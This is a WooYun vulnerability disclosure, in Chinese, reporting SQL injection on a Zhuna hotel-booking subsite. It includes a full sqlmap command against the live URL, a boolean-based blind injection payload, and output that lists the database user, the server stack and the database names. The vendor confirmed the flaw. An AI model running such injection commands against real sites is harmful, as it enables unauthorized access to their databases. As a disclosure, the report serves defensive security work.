当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162279

漏洞标题：住哪网分站SQL注射漏洞

相关厂商：住哪网

漏洞作者： 专业种田

提交时间：2015-12-18 10:02

修复时间：2016-01-28 17:10

公开时间：2016-01-28 17:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-18： 细节已通知厂商并且等待厂商处理中
2015-12-18： 厂商已经确认，细节仅向厂商公开
2015-12-28： 细节向核心白帽子及相关领域专家公开
2016-01-07： 细节向普通白帽子公开
2016-01-17： 细节向实习白帽子公开
2016-01-28： 细节向公众公开

简要描述：

每个月总有那几天需要打卡！

详细说明：

python sqlmap.py -u "http://anhuinews.zhuna.net/hotellist.php?cityid=1301*&txtCity=%E5%90%88%E8%82%A5&tm1=2015-12-18&tm2=2015-12-19&seachQ=" --dbs  --technique T


eb server operating system: Linux Ubuntu 11.10 (Oneiric Ocelot)
web application technology: Apache 2.2.20, PHP 5.3.6
back-end DBMS: MySQL 5
[22:52:59] [INFO] fetching current user
[22:52:59] [INFO] resumed: zhongan@192.168.0.230
current user:    'zhongan@192.168.0.230'

漏洞证明：

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://anhuinews.zhuna.net:80/hotellist.php?cityid=1301' AND 9281=9281 AND 'gDdS'='gDdS&txtCity=%E5%90%88%E8%82%A5&tm1=2015-12-18&tm2=2015-12-19&seachQ=
---
[22:48:22] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:48:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 11.10 (Oneiric Ocelot)
web application technology: Apache 2.2.20, PHP 5.3.6
back-end DBMS: MySQL 5
[22:48:22] [INFO] fetching database names
[22:48:22] [INFO] fetching number of databases
[22:48:22] [INFO] resumed: 5
[22:48:22] [INFO] resumed: information_schema
[22:48:22] [INFO] resumed: mysql
[22:48:22] [INFO] resumed: mysql_9tour_cn
[22:48:22] [INFO] resumed: mysql_mapdata_com
[22:48:22] [INFO] resumed: test
available databases [5]:
[*] information_schema
[*] mysql
[*] mysql_9tour_cn
[*] mysql_mapdata_com
[*] test

修复方案：

sql过滤

版权声明：转载请注明来源 专业种田@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-12-18 10:04

厂商回复：

非常感谢您反馈的信息，相关问题已交由技术处理。

最新状态：

暂无